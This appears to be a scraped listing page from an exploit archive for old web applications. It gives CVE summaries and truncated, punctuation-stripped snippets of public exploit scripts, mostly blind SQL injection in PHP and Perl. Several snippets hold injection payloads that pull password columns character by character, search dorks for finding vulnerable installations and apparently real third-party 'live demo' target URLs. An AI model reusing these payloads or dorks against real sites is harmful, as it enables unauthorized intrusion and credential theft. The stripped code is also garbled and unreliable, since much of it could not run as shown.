CVE-2009-0293

SQL injection vulnerability in profileview.php in Wazzum Dating Software, possibly 2.0, allows remote attackers to execute arbitrary SQL commands via the userid parameter...

CVE-2008-5888

Multiple SQL injection vulnerabilities in Click&Rank allow remote attackers to execute arbitrary SQL commands via the id parameter to 1 hitcounter.asp, 2 userdelete.asp, and 3 userupdate.asp; 4 the userid parameter to adminlogin.asp aka the USERNAME field in admin.asp; and 5 the PassWord paramete...

SolarCMS 0.53.8 Remote Cookie Disclosure Exploit

?php errorreporting0; / --------------------------------------------------------- SolarCMS 0.53.8 Forum Remote Cookies Disclosure Exploit --------------------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org/ works regardless PHP.ini settings...

Sql injection

SQL injection vulnerability in contactauthor.php in Article Publisher Pro 1.5 allows remote attackers to execute arbitrary SQL commands via the userid parameter...

Absolute Form Processor 4.0 - Insecure Cookie Handling

| | / | \ \ / / / | / | | | | \ | | | | \ V / | | | | | | | | | | | | | || | | | | | | | | | | | | | | || | / || | || \ | Author : Hakxer Home : Www.educ-up.com Type Gap : Insecure Cookie Handling script : Absolute Form Processor see script http://www.xigla.com/absolutefpnet/demo.htm Team : EgY...

WBB Plugin rGallery 1.09 (itemID) Blind SQL Injection Exploit

No description provided by source. import sys, urllib2, re print "\n " print " \'/ " print " -.- " print " -------------------oOO------OOo--------------------" print " | rGallery 1.09 +- Exploit by Five-Three-Nine |" print " | Using Blind SQL Injection in 'itemID' of rGallery |" print " | |" prin...

Galerie 3.2 - 'pic' WBB Lite Addon Blind SQL Injection

!/usr/bin/perl Galerie 3.2 galerie.php Remote "Blind" SQL Injection found by: J0hn.X3r exploit written by: J0hn.X3r and electron1x Date: 05.10.2008 Dork: "Galerie 3.2 © 2004 by progressive" Contact: J0hn.X3r + ICQ: 573813 + Mail: J0hn.X3ratgmail.com electron1x + Mail: electron1x at mail dot ru...

SG Real Estate Portal 2.0 - Blind SQL Injection

SG Real Estate Portal 2.0 - Blind SQL Injection 1 $url = $argv1; if $argc $t-1 $count = $i; $i = 30; for $j = 1; $j $count; $j++...

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live Demo : http://www.brzi.info/foto/album.php?apaalbumID=2 1 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."+and+1=1--"...

Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' Atomic Photo Album 1.1.0pre4 - Blind SQL Injection Exploit Vulnerability discovered by: Stack Exploit coded by: Stack Greetz to: All My Freind Dork: intext:"Powered by Atomic Photo Album 1.1.0pre4" Admin Panel: Target/apa...

Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== Atomic Photo Album 1.1.0pre4 Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live...

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection

php '.$argv0.' http://www.site.com/apa/album.php?apaalbumID=2 2 Live Demo : http://www.brzi.info/foto/album.php?apaalbumID=2 1 '; if $argc 1 $url = $argv1; if $argc $t-1 $count = $i; $i = 30; for $j = 1; $j $count; $j++ for $i = 46; $i = 122; $i=$i+2 if $i == 60 $i = 98;...

pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= pLink 2.07 linkto.php id Remote Blind SQL Injection Exploit ============================================================= php '.$argv0.' http://www.site.com/link/linkto.php?id=1...

pLink 2.07 - linkto.php Blind SQL Injection

pLink 2.07 - linkto.php Blind SQL Injection php '.$argv0.' http://www.site.com/link/linkto.php?id=128 2 Live Demo : http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."+and+1=1/"; ec...

pLink 2.07 - 'linkto.php' Blind SQL Injection

php '.$argv0.' http://www.site.com/link/linkto.php?id=128 2 Live Demo : http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2 '; if $argc 1 $url = $argv1; if $argc $t-1 $laenge = strlenfilegetcontents$url."+and+asciisubstringselect+pwd+from+pluser+where+id=".$userid."+li...

webeditioncms-sql.txt

php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc $t-1 $laenge = strlenfilegetcontents$url."'and+asciisubstringsel...

webEdition CMS (we_objectID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== webEdition CMS weobjectID Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc ...

HRS Multi - 'key' Blind SQL Injection

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " Viva IslaMe Viva IslaMe \n"; print " HRS Multi Blind SQL Injection Exploit \n"; print " picturepicbv.asp key \n"; print " Author: Mr.SQL \n"; print " EMAIL : [email protected] \n"; print " \n"; print " -::...

Sql injection

Multiple SQL injection vulnerabilities in ShareCMS 0.1 Beta allow remote attackers to execute arbitrary SQL commands via the 1 eventID parameter to eventinfo.php and the 2 userID parameter to listuser.php...

Comparison Engine Power 1.0 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= Comparison Engine Power 1.0 Blind SQL Injection Exploit ======================================================= !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "...